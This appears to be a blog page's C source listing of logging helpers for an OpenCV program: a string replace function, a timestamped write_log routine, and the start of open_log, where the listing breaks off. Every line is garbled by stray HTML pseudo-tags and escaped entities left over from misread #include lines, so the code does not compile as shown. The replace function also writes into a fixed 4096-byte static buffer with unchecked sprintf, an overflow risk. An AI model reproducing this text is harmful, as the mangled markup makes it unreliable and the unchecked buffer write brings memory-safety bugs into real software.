&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;FILE * logfile = NULL;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;/*&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;char *timetochar(const struct tm *timeptr)&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;{&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    static char wday_name[7][3] = {&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        &quot;Sun&quot;, &quot;Mon&quot;, &quot;Tue&quot;, &quot;Wed&quot;, &quot;Thu&quot;, &quot;Fri&quot;, &quot;Sat&quot;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    };&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    static char mon_name[12][3] = {&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        &quot;Jan&quot;, &quot;Feb&quot;, &quot;Mar&quot;, &quot;Apr&quot;, &quot;May&quot;, &quot;Jun&quot;,&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        &quot;Jul&quot;, &quot;Aug&quot;, &quot;Sep&quot;, &quot;Oct&quot;, &quot;Nov&quot;, &quot;Dec&quot;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    };&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    static char result[26];&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    sprintf(result, &quot;%.3s %.3s%3d %.2d:%.2d:%.2d %d\n&quot;,&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        wday_name[timeptr-&amp;gt;tm_wday],&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        mon_name[timeptr-&amp;gt;tm_mon],&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        timeptr-&amp;gt;tm_mday, timeptr-&amp;gt;tm_hour,&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        timeptr-&amp;gt;tm_min, timeptr-&amp;gt;tm_sec,&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        1900 + timeptr-&amp;gt;tm_year);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    return result;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;}*/&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;char *replace(char *st, char *orig, char *repl) {&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  static char buffer[4096];&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  char *ch;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  if (!(ch = strstr(st, orig)))&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;     return st;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    strncpy(buffer, st, ch-st); &lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    buffer[ch-st] = 0;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    sprintf(buffer+(ch-st), &quot;%s%s&quot;, repl, ch+strlen(orig));&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    return buffer;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;}&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;void write_log(char * str)&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;{&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    if ( logfile != NULL ) {&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        char * text;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        struct tm *ptr;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        time_t tm;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        tm = time(NULL);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        ptr = localtime(&amp;amp;tm);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        fprintf( logfile, &quot;[%s] [PID: %i] %s\n&quot;, replace(asctime(ptr),&quot;\n&quot;,&quot;&quot;), getpid(), str );&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        fflush( logfile );&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    }&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;}&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;void open_log()&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
